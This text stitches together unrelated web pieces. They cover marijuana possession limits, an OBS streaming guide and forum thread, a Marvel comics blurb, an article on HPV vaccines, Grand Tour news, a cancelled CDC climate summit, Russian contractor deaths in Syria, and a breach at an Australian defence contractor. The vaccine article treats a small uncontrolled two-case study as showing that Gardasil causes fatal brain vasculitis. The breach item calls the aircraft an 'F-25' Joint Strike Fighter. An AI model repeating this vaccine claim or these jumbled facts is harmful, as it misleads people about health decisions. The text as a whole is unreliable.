Each of the states where recreational marijuana is legal have put restrictions on the amount allowed for personal possession.
Legal weed states possession limits:
Colorado: Persons 21 years and older in Colorado can possess up to 1 ounce of cannabis and cultivate up to 6 plants. Varying amounts above these legal limits result in fines graduating to misdemeanor crimes. Possession rules also apply for cannabis-infused or concentrated products like oils and hash with the same graduated punishments. See full details here.
Washington: Washington allows for personal possession of 1 ounce of marijuana for adults, but doesn’t allow for cultivation for either personal use or distribution. It’s still a class C felony to grow any amount without a commercial or medical license. Residents face a complicated step-down of fines and punishments beyond these limits and for marijuana infused items. It’s considered the most restrictive legalization state so far. See more details here.
Oregon: Adults in Oregon can now possess up to 8 ounces (one half pound) of cannabis flowers but are limited to carrying 1 ounce in public. Personal cultivation of 4 plants per household is also allowed under the new as long as plants are hidden from public view. Persons are also allowed to transfer 1 ounce to another party free of charge. Then a convoluted menu of permissions and punishments applies to items made from cannabis. Oregon is considered the most free of all states to date. See more on the new law here.
Alaska: Alaska’s new law allows for personal possession of up to an ounce in public and cultivation (or transportation) of up to 6 plants with 3 or fewer being mature flowering plants. The law also allows the personal “transfer” of up to an ounce to adults “without remuneration”. Again, these limits are followed by a graduated punishment scale. See all of the details here.
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You almost have to laugh imagining the authorities trying to police these arbitrary restrictions on a legal substance. It begs the question; if it’s safer than alcohol, to be regulated like it, why have any possession restrictions?
Every pot smoker for 5000 years or longer has known that marijuana is significantly safer than alcohol. Yet it took an organized medical marijuana movement to open the door to legalization. Perhaps that’s why the public is conditioned to think in terms of limited prescription amounts?
The success of medical marijuana has not just been in proving its natural health benefits, but in proving to skeptics that it generates revenue and that the people involved aren’t scary criminals.
However, just because we can legally buy medical cannabis seeds online and will no longer be assaulted by shady drug dealers or no-knock SWAT raids in a few states, doesn’t mean freedom has been achieved yet.
I never supported marijuana legalization because it has health benefits, or because it’s safer than alcohol, or because it can be taxed. I support legalization because I own my body, not the State. Consequently, I believe personal “possession” or “ingestion” of anything should not be a crime (nor should there ever be forced medication in any form for the same reason).
Luckily, there is now a new program that does all of this, OBS, or 'Open Broadcaster Software'. Not only it is free to use, but uses less resources than the commercial alternative. This results in a user allowing to utilize their computer more when streaming; for example, with XSplit I couldn't stream 1080p/30fps or 720p/60fps smoothly, but with OBS, I can do both without taking as much of a performance hit as with XSplit.
For reference, Quantic.Illusion uses OBS. His stream is one of the most smoothest and best looking streams out there at 3000kbps/720p/60fps. From what I understand, it is being encoded with a consumer-level CPU. With XSplit, these sorts of results can only be achieved with a enthusiast-level CPU or a heavily over-clocked, high-end consumer CPU.
EDIT: On October 01 2012 16:42 QuanticIllusion wrote:
Core i5 3570 @ 3.40Ghz
AMD Radeon HD 7800 series =]
Anyway, let's take a look through the program.
First of all, download the program from
Honestly, if you are planning on streaming, you should have a 64-bit operating system installed. Therefore, there is no reason you should be using the 32-bit version of the program over the 64-bit version, unless you are still running 32-bit Windows for whatever reason.
Install/extract then run OBS. You should be approached with the main screen.
Note that unlike in XSplit, you will have to create scenes manually. To do this;
1. Right-click in the 'Scenes' box.
2. Select 'Add Scene'
3. Name your scene.
Also in this box, you can add a hotkey to quickly switch between scenes. To do this;
1. Right-click the Scene you wish to hotkey.
2. Select 'Set Hotkey'
3. Input the key(s) you wish to use (CTRL, ALT and Shift work in combination with most keys).
Now lets add some sources to the scene. You can do this one of two ways;
1. Adding sources individually to each scene.
2. Adding sources as a global function.
I'm not sure whether either makes a difference, but lets go through both options.
For individual;
1. Right-click on the 'Sources' box.
2. Select which kind of Source you wish to add. Monitor / Window Capture is the OBS equivalent of Screen Region from XSplit, Bitmap is to add an image file (overlay) and Video Capture Device is to add a webcam or third-party screen capturing device (e.g. Dxtory, Camtasia). For games, use Game Capture.
3. Name your source whatever you wish.
For global, click on global sources, then click add. Repeat steps as above.
Once you have added your sources, click on 'Edit Scene' to start adjusting each source (size/placement). A rectangular, red border should come up, where you can begin to adjust the source.
Rinse and repeat for every scene and every source you need to do.
For those that use overlays/webcams, you'll have to mess around with the source priority list. To do this, click on a source, then right-click, and depending on what sources you would want on top/below, you can move them up or move them down.
To see these scenes in effect, click 'Show Preview'. You can adjust scenes while preview is both on or off (it should be on).
Now lets look at the settings menu.
General - Self-explanatory.
Encoding - Self-explanatory as well. See
Broadcast Settings - Unless you are only using OBS to locally record, the mode should be set to Live Stream. Streaming service is self-explanatory, but if you are not using Twitch/Own3d, you'll have to manually input the Channel Name/Stream Key/Server. For those on Twitch, your Stream Key can be found at
Video - Your base resolution should be the resolution of the main monitor you are streaming. If you wish to downscale your resolution for streaming (for example, down to 720p), you can select it with the dropdown. FPS is self-explantory. Aero should be disabled if you are planning to stream with the software capture option.
Audio - All self-explanatory.
Advanced - Do not touch unless you know what you are doing.
Let me know if you found this guide useful. If you have any problems regarding the software itself, I suggest posting in the Some of you may have seen the guide on how to stream with FFSplit, an open-source alternative for XSplit. However, there are some features from XSplit that aren't in FFSplit, such as the ability to do multiple scenes and having multiple sources on one screen.Luckily, there is now a new program that does all of this, OBS, or 'Open Broadcaster Software'. Not only it is free to use, but uses less resources than the commercial alternative. This results in a user allowing to utilize their computer more when streaming; for example, with XSplit I couldn't stream 1080p/30fps or 720p/60fps smoothly, but with OBS, I can do both without taking as much of a performance hit as with XSplit.For reference, Quantic.Illusion uses OBS. His stream is one of the most smoothest and best looking streams out there at 3000kbps/720p/60fps. From what I understand, it is being encoded with a consumer-level CPU. With XSplit, these sorts of results can only be achieved with a enthusiast-level CPU or a heavily over-clocked, high-end consumer CPU.EDIT: + Show Spoiler [His Specs] + Anyway, let's take a look through the program.First of all, download the program from the main website Honestly, if you are planning on streaming, you should have a 64-bit operating system installed. Therefore, there is no reason you should be using the 32-bit version of the program over the 64-bit version, unless you are still running 32-bit Windows for whatever reason.Install/extract then run OBS. You should be approached with the main screen.Note that unlike in XSplit, you will have to create scenes manually. To do this;1. Right-click in the 'Scenes' box.2. Select 'Add Scene'3. Name your scene.Also in this box, you can add a hotkey to quickly switch between scenes. To do this;1. Right-click the Scene you wish to hotkey.2. Select 'Set Hotkey'3. Input the key(s) you wish to use (CTRL, ALT and Shift work in combination with most keys).Now lets add some sources to the scene. You can do this one of two ways;1. Adding sources individually to each scene.2. Adding sources as a global function.I'm not sure whether either makes a difference, but lets go through both options.For individual;1. Right-click on the 'Sources' box.2. Select which kind of Source you wish to add. Monitor / Window Capture is the OBS equivalent of Screen Region from XSplit, Bitmap is to add an image file (overlay) and Video Capture Device is to add a webcam or third-party screen capturing device (e.g. Dxtory, Camtasia). For games, use Game Capture.3. Name your source whatever you wish.For global, click on global sources, then click add. Repeat steps as above.Once you have added your sources, click on 'Edit Scene' to start adjusting each source (size/placement). A rectangular, red border should come up, where you can begin to adjust the source.Rinse and repeat for every scene and every source you need to do.For those that use overlays/webcams, you'll have to mess around with the source priority list. To do this, click on a source, then right-click, and depending on what sources you would want on top/below, you can move them up or move them down.To see these scenes in effect, click 'Show Preview'. You can adjust scenes while preview is both on or off (it should be on).Now lets look at the settings menu.General - Self-explanatory.Encoding - Self-explanatory as well. See http://obsproject.com/estimator for a rough guide as to what to set.Broadcast Settings - Unless you are only using OBS to locally record, the mode should be set to Live Stream. Streaming service is self-explanatory, but if you are not using Twitch/Own3d, you'll have to manually input the Channel Name/Stream Key/Server. For those on Twitch, your Stream Key can be found at here, at the bottom . For server, select the one that provides the best ping for you. A useful program for finding this out is R1CH's Jtvping, found here . Leave the rest of the settings alone unless you know what you are doing.Video - Your base resolution should be the resolution of the main monitor you are streaming. If you wish to downscale your resolution for streaming (for example, down to 720p), you can select it with the dropdown. FPS is self-explantory. Aero should be disabled if you are planning to stream with the software capture option.Audio - All self-explanatory.Advanced - Do not touch unless you know what you are doing.Let me know if you found this guide useful. If you have any problems regarding the software itself, I suggest posting in the OBS Forum , as the creator of the program, Jim, is quick in responding to any queries. Commentator Twitter: @GTR1H
Stream: http://www.twitch.tv/GTR1H
nucLeaRTV Profile Joined May 2011 Romania 781 Posts #2 Has anyone done a performance test between this and FFsplit ? "Having your own haters means you are famous"
DreadKnight Profile Joined October 2010 United Kingdom 115 Posts #3 Thanks for this. Didn't know it existed, not a great fan of XSplit for the various obvious reasons. Can't wait to give it a go.
y0su Profile Blog Joined September 2011 Finland 7868 Posts #4 Just tried it out... 720@60fps looks/feels pretty good. Might have to make a permanent switch. Thanks for the [G] Past 2 Blizzcon winners were 14th seed... next year only top 8 will qualify!! twitch.tv/y0su @y0su_
obs.Jim Profile Joined August 2012 United States 101 Posts Last Edited: 2012-10-01 08:36:25 #5 Wow, thank you very much for writing this guide. I was actually going to do something similar myself after I had polished up the software a bit and officially go into beta, but er.. actually, the reason I haven't really said anything anywhere about the app is because I may had been sort of hoping to sneak in some dark souls and borderlands 2 time in while my emails have died down again, I admit. I was going to do another reddit post when I go to beta (which is looking pretty soon) as well.
The app was nigh unusable a month ago when I made that first reddit post, but fortunately I ironed out every single issue that people have brought up, added a ridiculous number of features, and it's in fact gone far beyond my original expectations.. So I'm pretty proud of it.
This app would be nothing today without everyone who helped test, report bugs, and request features. R1CH as well has been contributing to the project, and his help has been immeasurable. So thank you to everyone for your support.
ROOTIllusion Profile Blog Joined August 2010 United States 1060 Posts #6 Core i5 3570 @ 3.40Ghz
AMD Radeon HD 7800 series =]
www.twitter.com/rootillusion & www.facebook.com/illusionsc2
PrOmiseCAST Profile Joined August 2010 United States 305 Posts #7 anyone have any idea why I am getting the .dll files missing thing? its like d3dx10_43.dll or something. Professional StarCraft 2 Commentator | twitch.tv/PrOmiseCAST / @PrOmiseCAST on Twitter.
obs.Jim Profile Joined August 2012 United States 101 Posts Last Edited: 2012-10-01 08:34:48 #8
Also, I know that you quantic guys and many pro gamers use transitioning images to show your team sponsors (you know, where you have multiple sponsors fading in/out on a single area of the screen), so I'll get something in next version for you guys so you can do that. Hm, rare for someone not to have an up-to-date version of directx. But you can get it here - http://www.microsoft.com/en-us/download/details.aspx?id=8109 - I'll also see if I can't somehow make sure directx is up-to-date in the installer.Also, I know that you quantic guys and many pro gamers use transitioning images to show your team sponsors (you know, where you have multiple sponsors fading in/out on a single area of the screen), so I'll get something in next version for you guys so you can do that.
Aelfric Profile Blog Joined March 2010 Turkey 1293 Posts #9 downscale format as of now so improving it for 4:3 or 16:10 in the future would be better. The thing is it seems like it only supports only 16downscale format as of now so improving it for 4:3 or 16:10 in the future would be better. Tomorrow never comes until its too late...
Aelfric Profile Blog Joined March 2010 Turkey 1293 Posts #10 On October 01 2012 17:30 obs.Jim wrote:
Hm, rare for someone not to have an up-to-date version of directx. But you can get it here -
Also, I know that you quantic guys and many pro gamers use transitioning images to show your team sponsors (you know, where you have multiple sponsors fading in/out on a single area of the screen), so I'll get something in next version for you guys so you can do that. Hm, rare for someone not to have an up-to-date version of directx. But you can get it here - http://www.microsoft.com/en-us/download/details.aspx?id=8109 - I'll also see if I can't somehow make sure directx is up-to-date in the installer.Also, I know that you quantic guys and many pro gamers use transitioning images to show your team sponsors (you know, where you have multiple sponsors fading in/out on a single area of the screen), so I'll get something in next version for you guys so you can do that.
I just tested some stuff and it works really great with dxtory too. Overlay feature when using dxtory doesn't get messed up like in ffsplit. Can use png files as bitmap easily. The only bad thing is For example i put dxtory as a scene and my desktop as another. When i switch scene and go back to dxtory one i have rescale the dxtory window because of downscaling that i use. Doing this everytime changing a scene if you use video output is bad so if there is an easy fix for it it would be great for me too. I just tested some stuff and it works really great with dxtory too. Overlay feature when using dxtory doesn't get messed up like in ffsplit. Can use png files as bitmap easily. The only bad thing is For example i put dxtory as a scene and my desktop as another. When i switch scene and go back to dxtory one i have rescale the dxtory window because of downscaling that i use. Doing this everytime changing a scene if you use video output is bad so if there is an easy fix for it it would be great for me too. Tomorrow never comes until its too late...
sauman Profile Joined July 2011 Australia 178 Posts Last Edited: 2012-10-01 13:15:08 #11 Sounds like another good alternative, what ISP are you with? I seem to get reasonably bad ping with like 1000kbps+ 아이유~
GTR Profile Blog Joined September 2004 47912 Posts #12 I use university internet, which is why I have a higher upload speed than normal. Commentator Twitter: @GTR1H
Stream: http://www.twitch.tv/GTR1H
RiSkysc2 Profile Joined September 2011 680 Posts Last Edited: 2012-10-01 18:31:53 #13 On October 01 2012 14:43 nucLeaRTV wrote:
Has anyone done a performance test between this and FFsplit ?
Not officially, but i have done several tests with both ffsplit and OBS. The trouble with ffsplit, is that if you don't actually have the processing power, it drops the frame rate, whereas with xsplit / OBS you will actually see a performance hit in-game.
System that i'm testing on:
i5 2500k @ 4.7 ghz
no capture card
radeon 7950 @ 1000mhz
I have done some tests:
FFsplit:
at 1080p @ 45 fps generally works most of the time, usually goes down to 40-30 at the end of a long sc2 game.
720p @ 60 fps works ok-ish, it usually goes to around 40-50 fps
OBS:
Can stream 1080p 60 fps just fine, don't really see any performance hits at all. (usually around 100 fps on medium and high)
720p 60fps obviously works fine.
I don't have the paid version for xsplit, as it is expensive as hell, so can't really do any tests in that respect.
Will provide links when i get back to my main computer (at the weekend).
Please take into account that the VOD's will have a very low bitrate, as my internet is quite bad (only 1mb up). Not officially, but i have done several tests with both ffsplit and OBS. The trouble with ffsplit, is that if you don't actually have the processing power, it drops the frame rate, whereas with xsplit / OBS you will actually see a performance hit in-game.System that i'm testing on:i5 2500k @ 4.7 ghzno capture cardradeon 7950 @ 1000mhzI have done some tests:FFsplit:at 1080p @ 45 fps generally works most of the time, usually goes down to 40-30 at the end of a long sc2 game.720p @ 60 fps works ok-ish, it usually goes to around 40-50 fpsOBS:Can stream 1080p 60 fps just fine, don't really see any performance hits at all. (usually around 100 fps on medium and high)720p 60fps obviously works fine.I don't have the paid version for xsplit, as it is expensive as hell, so can't really do any tests in that respect.Will provide links when i get back to my main computer (at the weekend).Please take into account that the VOD's will have a very low bitrate, as my internet is quite bad (only 1mb up).
DG.Zeya Profile Joined January 2012 United States 39 Posts #14 This looks amazing... been having some problems downloading though. Tried both the direct download link and the 64 bit binary, and once OBS was downloaded and I tried to open it, I got this error message:
"The program can't start because d3dx10_43.dll is missing from your computer. Try reinstalling the program to fix this problem."
I've tried reinstalling, to no luck. Any ideas?
Sixac Profile Joined April 2011 Finland 5 Posts #15 On October 02 2012 01:00 DG.Zeya wrote:
This looks amazing... been having some problems downloading though. Tried both the direct download link and the 64 bit binary, and once OBS was downloaded and I tried to open it, I got this error message:
"The program can't start because d3dx10_43.dll is missing from your computer. Try reinstalling the program to fix this problem."
I've tried reinstalling, to no luck. Any ideas?
Did you even read the previous posts... as there is already a solution for that missing file thing Did you even read the previous posts... as there is already a solution for that missing file thing
HomeWorld Profile Joined December 2011 Romania 897 Posts #16 - source 1920x1080) while playing sc2 on a lol i3 2120 and GT430
Good job "Jim".
Oh, had to activate vertical sync to have a smooth streaming, sc2 was pumping 150+ fps and there were no cpu left for OBS I guess.
Imba wooden league skills show off (switched to protoss 3 days ago) - http://www.twitch.tv/hwd2ro/b/334096703 Nice, decent streaming (720p@60fps - tho I doubt OBS ever managed to achieve 60fps- source 1920x1080) while playing sc2 on a lol i3 2120 and GT430Good job "Jim".Oh, had to activate vertical sync to have a smooth streaming, sc2 was pumping 150+ fps and there were no cpu left for OBS I guess.Imba wooden league skills show off (switched to protoss 3 days ago)
WTFZerg Profile Joined February 2011 United States 665 Posts #17 Speaking as someone who's been working with the FFsplit team for a while, I'd like to give my compliments.
Very impressive piece of software. Might makes right.
obs.Jim Profile Joined August 2012 United States 101 Posts Last Edited: 2012-10-01 18:41:35 #18 Yea, I'll see what I can do about potentially getting directx updated via the installer if necessary, though I may have to switch to different installer software to do so, so it may be a while.
As for performance, I would love to see more comparisons being done. Most people are telling me it gets better performance for them than xsplit, and causes less issues for their games. I'm not entirely surprised because the app is written entirely in C and C++ with performance in mind, and I'm normally a game engine developer so I'm very familiar with writing performance critical code where each and every millisecond in each frame matters. Again, I admit I'm pretty proud of it.
WTFZerg - thank you very much. Like I said in my original reddit post, I didn't even know about ffsplit when I was originally making the software. I am just glad there are at least some alternatives to xsplit, regardless of which ones people use. Hopefully we can all learn from each other and just overall make sure there are better alternatives out there for everyone.
RiSkysc2 Profile Joined September 2011 680 Posts #19 On October 02 2012 03:22 obs.Jim wrote:
Yea, I'll see what I can do about potentially getting directx updated via the installer if necessary, though I may have to switch to different installer software to do so, so it may be a while.
As for performance, I would love to see more comparisons being done. Most people are telling me it gets better performance for them than xsplit, and causes less issues for their games. I'm not entirely surprised because the app is written entirely in C and C++ with performance in mind, and I'm normally a game developer so I'm very familiar with writing performance critical code where each and every millisecond in each frame matters. Again, I admit I'm pretty proud of it.
WTFZerg - thank you very much. Like I said in my original reddit post, I didn't even know about ffsplit when I was originally making the software. I am just glad there are at least some alternatives to xsplit, regardless of which ones people use. Hopefully we can all learn from each other and just overall make sure there are better alternatives out there for everyone.
I can do more tests on my i5 2500k, ofc.
Maybe we could have a specific thread on your forum about it? I can do more tests on my i5 2500k, ofc.Maybe we could have a specific thread on your forum about it?
ruXxar Profile Blog Joined January 2009 Norway 5421 Posts #20 Im trying to stream but the program keeps crashing on me. When I finally thought I was ready to go ahead streaming the program crashed again. When I opened it again the preview is just a red background for my dxtory input. No idea what to do. "alright guys im claiming my role im actually politician I can manipulate a persons vote during the day phase, used it on clarity last phase and forced him to vote for HF. full role name donald trump, definitely town sided". - EBH
With the exception of the A-Force preview, which features art by Victor Ibañez instead of Molina, the short stories feature the creative teams of the ongoing series, and these pages show a nice range of styles for these new titles. The most exciting thing about Avengers #0 is that it features the Marvel debut of long-time DC artist Kenneth Rocafort, and his shot of Ms. America Chavez has all the strength and attitude that have made her a fan-favorite character. It’s an exciting time to be an Avengers fan, and this one-shot’s wraparound Art Adams variant cover showcases the eclectic line-up of characters spotlighted in this fall’s new Avengers series, including veterans like Iron Man, Hawkeye, and Captain Marvel, as well as fresh faces like Ms. Marvel, Miles “Spider-Man” Morales, and the planet-eater Galactus. It’s a new day for the publisher, and the Avengers are leading the way into an “All-New, All-Different” Marvel Universe.
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For the first time in history, a biologically plausible mechanism of action has been discovered linking a vaccine to a serious adverse event. Gardasil has left behind its genetic fingerprint in post-mortem central nervous system samples of two girls who took this vaccine.
Two teenage girls from opposite ends of the world – both dead before their time have two additional things in common. They both took Gardasil to try and prevent cervical cancer and fragments of the HPV-16-L1 antigen used in Gardasil have been found in blood vessels within their brains.
The HPV-16-L1 protein is one of the antigens used in both Gardasil and Cervarix. An antigen is a toxin or other foreign substance that induces an immune response in the body. Theoretically, these antigens are not supposed to cross the blood brain barrier. However, according to a recently concluded case study this may not be the case.
Using a new immunohistochemical (IHC) protocol they developed, Drs. Chris Shaw and Lucija Tomljenovic examined post-mortem samples taken from the cerebellum, hippocampus, choroid plexus and watershed cortex of a 19 year-old girl; as well as post-mortem samples of the cerebellum, hippocampus, choroid plexus, portions of the brainstem (medulla, midbrain, pons), right basal ganglia, right parietal and left frontal lobes of a 14 year-old girl. They tested for the presence of two of the specific antigens used in both Gardasil and Cervarix: HPV-16-L1 and HPV-18-L1.
They discovered the presence of HPV-16-L1 particles within the blood vessels in the brain (cerebral vasculature) with some of these particles adhering to the blood vessel walls. For the average medical consumer, this is the equivalent of a Gardasil fingerprint and it should not be in brain tissues.
Does the presence of HPV-16-L1 particles inside these girls’ cerebral vasculature provide evidence of a “Trojan Horse” mechanism by which these particles adsorbed to aluminum adjuvant gain access to human brain tissue? Remember, both Gardasil and Cervarix contain HPV-16-L1 virus-like particles (VLP’s) of the recombinant major capsid (L1) protein adsorbed onto aluminum adjuvants.
Tomljenovic and Shaw also discovered that the antibodies against HPV-16-L1, which were used to detect the presence of HPV-16-L1 particles, were also binding to the wall of cerebral blood vessels in the brain samples.
Their IHC analysis also showed increased T-cell signaling and marked activation of the classical antibody-dependent complement pathway in cerebral vascular tissues from both cases. This pattern of complement activation, in the absence of an active brain infection, indicates an abnormal triggering of the immune response in which the immune attack is directed towards the blood vessels of the brain, thus triggering an autoimmune cerebral vasculitis.
Cerebral vasculitis is a serious disease which typically results in fatal outcomes when undiagnosed and left untreated. The fact that many of the symptoms reported to the Vaccine Adverse Event Reporting System (VAERS) following HPV vaccination are indicative of cerebral vasculitis, but are unrecognized as such (i.e. intense persistent migraines, syncope, seizures, tremors and tingling, myalgia, locomotor abnormalities, psychotic symptoms and cognitive deficits) is a serious concern in light of Tomljenovic and Shaw’s findings.
Finally, there was clear evidence of brain hemorrhages in both cases which further demonstrated that a serious injury to the cerebral vasculature occurred.
For the average medical consumer, this evidence suggests that the antibodies produced in response to vaccination with the HPV-16-L1 may cause one’s immune system to attack its own blood vessels. HPV vaccines containing HPV-16-L1 antigens could therefore pose an inherent risk for triggering potentially fatal autoimmune vasculopathies.
There is little doubt that HPV vaccines are unsafe for some individuals. Who those individuals are and why they are more susceptible to serious adverse reactions than others remains unknown. More studies must be conducted to answer these questions.
The article by Drs. Chris Shaw and Lucija Tomljenovic entitled Death after qHPV vaccination: causal or coincidental, published in Pharmaceutical Regulatory Affairs today provides evidence of a biologically plausible mechanism of action linking a particular vaccine to serious adverse outcomes, perhaps for the first time in history. Although this study may not conclusively ‘prove’ causality, it seriously demonstrates the need for additional investigation. (Access entire article here.)
When reading this case study, one must understand the findings should be viewed with caution. This is a small sample size and there were no control samples available. However, the marked resemblance between the two cases strongly supports the present conclusions.
It is important to note that activation of the antibody-dependent complement pathway, as shown in Tomljenovic and Shaw’s analysis, typically occurs in neurodegenerative diseases which have an underlying immune trigger. This process is not a feature of a normal young brain.
Given that the autopsy in both cases revealed no major abnormality (anatomically, microbiologically or toxicologically) that might have been regarded as a potential cause of death; it appears plausible that the antigenic component of the HPV vaccine (HPV-16-L1) was indeed responsible for the fatal inflammation of the blood vessels.
Medical consumers need to know:
Vasculitis has long been recognized as a possible severe adverse reaction to vaccination.
Molecular mimicry (whereby the vaccine antigen resembles a host antigen) is generally accepted among medical professionals and scientists as a mechanism by which vaccines can trigger autoimmune diseases.
Tomljenovic & Shaw’s search of the VAERS database revealed numerous reports of post-HPV vaccination–associated vasculitis.
An analysis of these reports showed that post-HPV vaccination vasculitis-related symptoms most typically manifest within the first three to four months after vaccination, as was also reported in the two cases analyzed by Shaw and Tomljenovic.
Tomljenovic and Shaw also noted a striking similarity between the vasculitis-related symptoms reported to VAERS and those experienced by the two cases they examined.
Every vaccine carries some risk of adverse effects. Unlike most medications, vaccines are normally administered to healthy individuals. Therefore, it is all the more critical to identify those individuals who are at risk for serious adverse events after vaccines.
Yep, the new series of The Grand Tour will still see Jeremy Clarkson, Richard Hammond and James May travel through more locations than ever, attempting to avoid any further mishaps and injury along the way.
However, instead of the travelling tent of the previous series, the studio segments will now all be filmed from the show's new base in the Cotswolds.
Amazon Prime
And petrol-heads looking to apply for tickets to The Grand Tour can get them now.
For one week only, Amazon is inviting customers around the world to apply to be on the studio guestlist and join Clarkson, Hammond and May in their charming new location.
Amazon Prime
Applications for tickets to the studio recordings of series two open today at amazon.co.uk/GTTickets, closing at midnight on Tuesday, October 3.
Away from the tent, the trio's travels this series will take in five continents, tearing up the track in the likes of Croatia, Mozambique, Dubai, Spain, Switzerland, Colorado and New York.
It's not been an easy ride either, with Hammond suffering a horrific Swiss car crash while filming, and Clarkson struck down with a life-threatening case of pneumonia over the summer. No wonder they're chilling out in the Cotswolds this year...
Amazon Prime
In a statement, VP of Amazon Video Europe, Jay Marine said: "The Grand Tour is our most popular show around the world having been watched in over 240 countries and territories.
"Customers continually tell us that their favourite segments of The Grand Tour are the travelling adventures of Jeremy, Richard and James, so despite the various calamities and injuries along the way, the guys have spent this year exploring more incredible and stunning locations than ever before... and getting into more trouble of course.
"We can't wait for our Prime members to see series two later this year."
Amazon Prime
The Grand Tour's Executive Producer Andy Wilman added: "It's clear that the most popular 'Grand Tour' element of the show is when the chaps are roaming the globe on their big adventures and road trips, so that's what we're doing a lot more of for this series.
"We'll keep the studio in one place, and given how accident prone they are at the minute, that can only be a good thing!"
As part of a three series deal, The Grand Tour will be back for two more series with the second coming to Amazon Prime later this year.
But if you can't wait until then, watch a teaser below...
Here’s a look at our #PrimeDay sneak peek of #TheGrandTour Season 2. pic.twitter.com/Iw6kXo0rTv — The Grand Tour (@thegrandtour) July 11, 2017
Those scheduled to speak at the conference received an email saying the summit was canceled, according to E&E News, which obtained a copy of the email. "We are currently exploring options so that the Summit may take place later in the year," CDC officials wrote. The Verge confirmed that the summit was canceled through the American Public Health Association (APHA), one of the organizations that partnered with the CDC for the conference.
Climate change is a public health issue
“We were notified just recently,” Mandi Yohn, an APHA communications specialist told The Verge, “in the last week or so.”
In a statement to The Verge, the CDC said that it began notifying participants on December 22nd, 2016. The agency didn’t say the summit was canceled, but only postponed. “We are exploring options to reschedule the meeting while considering budget priorities for fiscal year 2017, including the current continuing resolution, and potential overlap with an APHA conference on the same topic also being held later in 2017,” the statement reads. The CDC didn’t answer a question regarding the reasoning behind rescheduling the summit.
Under Obama, the CDC started looking at climate change as a public health issue, working with states and cities to address health problems related to heat waves and pollution. Health officials see climate change as a threat because warming temperatures help boost outbreaks of mosquito-borne diseases like Zika, as mosquitoes expand their range. Heavy rainfalls and flooding can also help spread water-borne diseases like cholera.
The Climate and Health Summit was scheduled for February 14th–16th in Atlanta, where the CDC is headquartered. The event was supposed to “showcase the state of the science on climate and health, adaptation efforts through interagency collaboration, and communication and stakeholder engagement strategies,” according to a flier posted by the National Indian Health Board, another of the CDC’s partners for the event.
The CDC has a history of backing down from controversial issues
The summit’s cancellation did not surprise some former CDC directors, who told E&E News that the agency has a history of backing down from certain issues for fear of political reprisal. President Trump, who’s called climate change a “hoax” and appointed a climate change denier as the head of the Environmental Protection Agency, vowed to dismantle Obama’s environmental policies meant to lower greenhouse gas emissions.
It’s likely that CDC officials see climate change as "not an immediately winnable battle" under the new administration, according to Richard Jackson, a director of the CDC's Center for Environmental Health from 1994 to 2004. The summit’s cancelation could signal that the agency is not willing to take aggressive action on climate change issues.
“As the nation's public health agency, we need CDC to be fully engaged in protecting our health from climate change,” Ed Maibach, director of the Center for Climate Change Communication at George Mason University, who was scheduled to talk at the summit, wrote in an email to The Verge. “Politics is politics, but protecting the health of our citizens is one of our government's most important obligations to us.”
Eighteen Russian citizens fighting alongside Moscow's allies, the Syrian government forces, have been killed since January 29—a period that coincided with intense fighting to recapture the city of Palmyra from the Islamic State militant group (ISIS).
The Russian defense ministry has publicly reported only five servicemen's deaths in Syria over the same period, and its officials' statements have not mentioned any large-scale Russian ground operations in the fight for Palmyra.
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Military casualties abroad are not as politically sensitive in Russia as in some other countries but send a negative message ahead of a presidential election next year that is expected to give President Vladimir Putin a fourth term.
The toll was revealed in interviews with relatives and friends of the dead men, cemetery workers, local media reports of funerals and evidence collected by a group of investigative bloggers, Conflict Intelligence Team (CIT).
In each case, Reuters has independently verified information about the death by speaking to someone who knows the dead man.
The casualties since the end of January represent one of the highest tolls for the Russian contingent in Syria since the start of Moscow's military intervention 18 months ago.
An official with the Russian foreign ministry refered questions about them to the defense ministry. The Russian defense ministry did not respond to Reuters questions about the casualties and about military operations in Syria. The Kremlin did not immediately respond to a request for comment.
Most of the dead were not regular Russian soldiers but Russian civilians working as private military contractors under the orders of Russian commanders. Moscow has not officially acknowledged the presence of the contractors in Syria.
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One of the 18 men killed was Yuri Sokalsky, a 52-year-old from the Russian Black Sea resort of Gelendzhik who, according to a person close to him, signed up to go to Syria in January with a group of private contractors.
In one of his last phone calls home, the person close to him said, he expressed surprise at the large numbers of Russian contractors being despatched to Syria, and relayed what he had been told about the intensity of the combat.
"Out of every 100 people, 50 are coming back in caskets," the person recalled Sokalsky as saying. The person asked not to be identified, fearing repercussions for revealing information that is sensitive for the Russian authorities.
On March 14 last year, Russian President Vladimir Putin announced a partial drawdown of Russian forces in Syria, saying their mission had "as a whole, been fulfilled." The fight for Palmyra this year tells a different story.
The 18 fatalities documented by Reuters include the five regular soldiers whose deaths were announced by the defense ministry, four private military contractors in one unit killed on the same day, seven other such contractors, and two regular soldiers whose deaths the defense ministry has not announced.
The period examined by Reuters coincided with the start of a major Russian deployment to the area around Palmyra, according to several people close to the dead fighters.
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Several relatives of people killed in Syria said they had received phone calls from people involved in recruiting private military contractors warning them not to speak to media.
Out of the 18 dead, at least 10 were killed in the region of Palmyra, which ISIS fighters seized in December for a second time in a year—a major reversal for Syrian government forces and their Russian backers.
On January 10, Sokalsky, a land mine specialist, left his home in Gelendzhik and set off for Rostov, in southern Russia, to join a group of private contractors being despatched to Syria.
According to the Sydney Morning Herald, the compromised data included sensitive information on Australia’s next-generation spy planes, naval warships and its $14 billion Joint Strike Fighter program.
A spokesperson for the Australian Cyber Security Centre (ACSC) said that while the stolen data was commercially sensitive, the information was not classified.
Mitchell Clarke, incident response manager at the foreign intelligence collection agency Australian Signals Directorate (ASD), described the compromise as “extensive and extreme.”
At the Australian Information Security Association (AISA) national conference in Sydney this week, Clarke noted that the stolen information revealed details on the F-25 Joint Strike Fighter, P-8 Poseidon maritime patrol aircraft, the C-130 transport aircraft and the Joint Direct Attack Munition (JDAM) smart bomb kit, as well as other naval vessels.
According to a separate report by ZDNet, the ASD was initially alerted back in November 2016 by a “partner organization” that an attacker had gained access to the network of the DoD contractor.
Clarke stated that the attacker had been in the network since mid-July 2016, with data exfiltration starting about two weeks later.
The affected contractor was identified as a 50-person aerospace engineering firm, which had one employee managing all IT-related functions. The employee had been on the job for nine months.
Meanwhile, the attacker is said to have exploited a software vulnerability that went un-patched for 12 months, although the firm’s web portal was also accessible using default logins, such as “admin admin” and “guest guest.”
Lateral movement using those same credentials eventually gave the attacker access to the domain controller and the remote desktop server, in addition to email and other sensitive information, reported ZDNet.
